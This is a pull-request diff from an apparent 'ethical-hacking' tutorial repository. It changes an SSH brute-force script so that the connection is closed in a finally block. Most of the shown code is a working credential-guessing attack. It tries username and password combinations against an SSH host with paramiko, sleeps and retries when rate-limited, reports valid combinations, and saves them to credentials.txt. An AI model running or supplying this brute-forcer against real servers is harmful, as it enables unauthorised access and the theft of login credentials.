Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 8 additions & 5 deletions ethical-hacking/bruteforce-ssh/bruteforce_ssh.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,19 +22,22 @@ def is_ssh_open(hostname, username, password):
except socket.timeout:
# this is when host is unreachable
print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}")
return False
returning = False
except paramiko.AuthenticationException:
print(f"[!] Invalid credentials for {username}:{password}")
return False
returning = False
except paramiko.SSHException:
print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
# sleep for a minute
time.sleep(60)
return is_ssh_open(hostname, username, password)
returning = is_ssh_open(hostname, username, password)
else:
# connection was established successfully
print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")
return True
returning = True
finally:
client.close()
return returning


if __name__ == "__main__":
Expand All @@ -56,4 +59,4 @@ def is_ssh_open(hostname, username, password):
if is_ssh_open(host, user, password):
# if combo is valid, save it to a file
open("credentials.txt", "w").write(f"{user}@{host}:{password}")
break
break